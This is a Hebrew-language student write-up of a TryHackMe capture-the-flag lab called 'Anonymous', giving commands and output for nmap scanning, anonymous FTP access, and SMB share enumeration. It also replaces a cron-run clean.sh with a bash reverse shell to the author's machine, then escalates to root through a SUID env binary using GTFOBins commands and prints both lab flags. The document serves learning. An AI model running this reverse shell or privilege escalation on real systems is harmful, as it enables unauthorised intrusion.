דוח pt'

בחרתי לתקוף את החדר Anonymous ב try hack me-

ראשית עשיתי *recon* ע"י הכלי nmap השתמשתי בפקודה ובפלגים הבאים :

nmap -A -Pn -n 10.10.129.77

```
┌──(kali㉿kali)-[~]
└─$ nmap -A -Pn -n 10.10.129.77
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-14 05:41 EST
Nmap scan report for 10.10.129.77
Host is up (0.094s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.0.8 or later
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.21.2.25
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
```

```
      At session startup, client count was 2
      vsFTPd 3.0.3 - secure, fast, stable
_End of status
 ftp-anon: Anonymous FTP login allowed (FTP code 230)
_drwxrwxrwx    2 111      113          4096 Jun 04  2020 scripts [NSE: writeable]
2/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
 ssh-hostkey:
   2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA)
   256 95:89:a4:12:e2:e6:ab:90:5d:45:19:ff:41:5f:74:ce (ECDSA)
_  256 e1:2a:96:a4:ea:8f:68:8f:cc:74:b8:f0:28:72:70:cd (ED25519)
39/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
45/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
ervice Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel

ost script results:
 smb-os-discovery:
   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
   Computer name: anonymous
   NetBIOS computer name: ANONYMOUS\x00
```

מצאתי 4 פורטים פתוחים ומצאתי את ה *vulnerability* שלהם החלטתי ללכת על

פורט 21 שזה פרוטוקול שמאפשר העברת קבצים ברשת ושאפשר להתחבר ל ftp בצורה אנונומית בלי סיסמא . ראיתי את הגירסה שהיא פגיעה vsftpd 2.0.8

התחברתי לftp ע"י הפקודה **ftp 10.10.129.77**

```
┌──(kali㉿kali)-[~]
└─$ ftp 10.10.129.77
Connected to 10.10.129.77.
220 NamelessOne's FTP Server!
Name (10.10.129.77:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||62301|)
150 Here comes the directory listing.
drwxrwxrwx    2 111      113          4096 Jun 04  2020 scripts
226 Directory send OK.
ftp> cd scripts
250 Directory successfully changed.
ftp> ls
```

רשמתי את השם משתמש : Anonymous וכאן בעצם התחברתי ftp

כאן אני בעצם עושה [exploit](#)

ומשם נכנסתי לתיקייה ובתוכה ראיתי 3 קבצים אז קודם כל הורדתי אותם אליי ע"י הפקודה:

1) get to_do.txt 3) get removed_files.log 2) get clean.sh

אחר הרצתי אותם כדי לראות מה כל אחד עושה :

1) cat clean.sh 3) cat removed_files.log 2) cat to_do.txt

```
┌──(kali㉿kali)-[~]
└─$ cat clean.sh
#!/bin/bash

tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
        echo "Running cleanup script:  nothing to delete" >> /var/ftp/scripts/removed_files.log
else
    for LINE in $tmp_files; do
        rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.
log;done
fi
```

```
┌──(kali㉿kali)-[~]
└─$ cat to_do.txt
I really need to disable the anonymous login ... it's really not safe

┌──(kali㉿kali)-[~]
└─$ cat removed_files.log
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
```

אחר כך נכנסתי ל smbmap -H 10.10.129.77 כאן רציתי לבדוק אם יש שיתופים על המחשב הזה וראיתי שזה **pics**

```
┌──(kali㉿kali)-[~]
└─$ smbmap -H 10.10.40.7

    SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)

[+] IP: 10.10.40.7:445  Name: 10.10.40.7                Status: Authenticated
        Disk                                                    Permissions     Comment
```

ושיניתי את הייפי כי זה השתנה לי בגלל שנגמר הזמן במכונה

```
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)

[+] IP: 10.10.220.129:445       Name: 10.10.220.129             Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        pics                                                    READ ONLY       My SMB Share Directory f
or Pics
        IPC$                                                    NO ACCESS       IPC Service (anonymous s
erver (Samba, Ubuntu))
```

בקובץ cat to_do.txt ראיתי שרשם שזה לא בטוח וצריך להסיר את זה.

בקובץ cat removed_files.log אני רואה שמריץ סקריפטים ונירא שאין מה למחוק.ובקובץ cat clean.sh יש סקריפט שרץ כל זמן מסוים ורשום var ftp script אני צריכה למצוא לו מעטפת הפוכה ושם חיפשתי על פייתון ואת זה אני מעתיקה ושמה

בקובץ חדש פתחתי נוטפד והדבקתי שם שיניתי את אייפי של המכונה שלי ופורט 1234 אחר העתקתי אותו ל nano clean.sh

ויצרתי מאזין : nc -nvlp 1234

חזרתי חזרה ftp העליתי את הקובץ put clean.sh ורשמתי ls וראיתי שהקובץ נשאר באותו הגודל .ולא יצר לי מאזין....

ניסיתי לבדוק קישוריות עשיתי ping 10.10.129.77 והיה קישוריות ועדיין לא הצליח

אז עשיתי שינוי בקובץ clean.sh ורשמתי הפעם

```
┌──(kali㉿kali)-[~]
└─$ vi clean.sh

┌──(kali㉿kali)-[~]
└─$ cat clean.sh
#!/bin/bash

bash -i> & /dev/tcp/10.21.2.25/6666 0>&1
```

אז בעצם אני רוצה ליצור shell ואני רוצה שיתחבר מרחוק וכל השגיאות יעביר ל &> ולפורט פנוי 6666 ועכשיו אני יצור את המאזין עם הפורט הזה.

```
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 6666
listening on [any] 6666 ...
connect to [10.21.2.25] from (UNKNOWN) [10.10.129.77] 41834
bash: cannot set terminal process group (1549): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$ ls
ls
pics
user.txt
namelessone@anonymous:~$ cat user.txt
cat user.txt
90d6f992585815ff991e68748c414740
namelessone@anonymous:~$ pwd
pwd
/home/namelessone
namelessone@anonymous:~$ whoami
```

כאן אני רוצה להשתמש ב ***pylod***

ועשיו אני רוצה להעלות הרשאות וראיתי את הקובץ של user.txt

רציתי לבדוק איפה נמצא הקבצים של root וכאן זה נמצא הפקודה הראשונה לא צלחה לי ניסיתי פקודה אחרת דומה וזה כן נתן לי .

```
whoami
namelessone
namelessone@anonymous:~$ find/-type f -pern -04000 -ls 2>/dev/null
find/-type f -pern -04000 -ls 2>/dev/null
namelessone@anonymous:~$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/snap/core/8268/bin/mount
/snap/core/8268/bin/ping
/snap/core/8268/bin/ping6
/snap/core/8268/bin/su
/snap/core/8268/bin/umount
/snap/core/8268/usr/bin/chfn
```

```
/usr/bin/env
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/newgidmap
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/pkexec
namelessone@anonymous:~$ /usr/bin/sudo  sudo /bin/sh
/usr/bin/sudo  sudo /bin/sh
sudo: no tty present and no askpass program specified
namelessone@anonymous:~$  sudo /bin/sh
```

העתקתי את הקובץ ונכנסתי לאתר gtpobins

שם הוא נתן לי כל מיני קונפיגורציות להשתלטות על המערכת רשמתי env ו אז suid

ומצאתי את הפקודה אבל זה עדיין לא נתן לי הרשאות של רות

It can b ... active system shell.

```
env /bin/sh
```

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which env) .
./env /bin/sh -p
```

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo env /bin/sh
```

וניסיתי כל מיני פקודות עד שעשיתי את הפקודה הזאת : usr/bin/env /bin/sh -p/

```
/usr/bin/pkexec
namelessone@anonymous:~$ usr/usr/bin/env /bin/sh -p
usr/usr/bin/env /bin/sh -p
bash: usr/usr/bin/env: No such file or directory
namelessone@anonymous:~$ /usr/bin/env /bin/sh -p
/usr/bin/env /bin/sh -p
whoami
root
cat/root/root.txt
/bin/sh: 2: cat/root/root.txt: not found
cat /root/root.txt
4d930091c31a622a7ed10f27999af363
```

וכאן בעצם הצלחתי ועשיתי את ה internal

והפכתי להיות root וראיתי את הקובץ של root